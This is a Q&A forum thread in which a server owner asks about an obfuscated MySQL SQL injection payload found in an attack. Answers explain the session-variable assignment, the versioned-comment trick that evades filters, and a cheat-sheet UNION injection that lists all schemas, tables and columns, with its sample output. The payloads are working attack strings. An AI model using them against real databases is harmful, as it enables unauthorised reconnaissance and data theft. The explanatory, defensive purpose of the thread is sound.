24

My server was hit by the following SQL injection payload:-

((/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a))

What does (@) and (@:=0x00) stand for in this payload?

for standalone execution, the above payload must be executed as:-

select ((/!12345sELecT/(@)from(/!12345sELecT/(@:=0x00),(/!12345sELecT/(@)from(InFoRMAtiON_sCHeMa.ColUMNs)where(TAblE_sCHemA=DatAbAsE/data/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a));

The payload had the syntax error.

29

What does (@) and (@:=0x00) stand for in this payload?

  • @ - is the variable name
  • @:=0x00 - is the assignment of zero into this variable.

Note: := is the assignment-operator

Thanks for @Frank Cedeno and @strnk for their Q&A in the comments.

@Frank Cedeno - How /!12345sELecT/ becomes select?

@strnk - This is a MySQL-specific extension to SQL comments, the sELecT is only included in the query if the server version is greater or equal to 12345 (1.23.45), so it filters-out non-MySQL servers

More Info:

From websec sql_injection:

Retrieving Multiple Tables/Columns at once

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

Example:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

Output:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED

This Stackoverflow answer explains the SQL code:

First of all i would make the query a litte bit more readable by reformatting it:

1) SELECT (SELECT (@)
2)         FROM (SELECT (@:=0x00),
3)                      (SELECT (@)
4)                       FROM (information_schema.columns)
5)                       WHERE (table_schema >= @)
6)                       AND   (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))
7)                       )
8)               )
9)        a);

The assignment of @ is as follows:

  1. In Line 3 it gets the value 0x00 (Decimal: 0)
  2. In line 5 this value is used for the greater than (table_schema >= 0)
  3. Line 6 is a way to concat each schema, table and column name into @
  4. @ is returned in line 1 and contains a concatenated list of your structures

In line 6 an additional <br> (0x3C,0x62,0x72,0x3E) is added to the variable to make the output more readable

  • 13
    Extremely fascinating. Can you explain how /*!12345sELecT*/ becomes select?. – Frank Cedeno Jul 24 '17 at 12:58
  • 12
    This is a MySQL-specific extension to SQL comments, the "sELecT" is only included in the query if the server version is greater or equal to 12345 (1.23.45), so it filters-out non-MySQL servers. – strnk Jul 24 '17 at 13:48

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.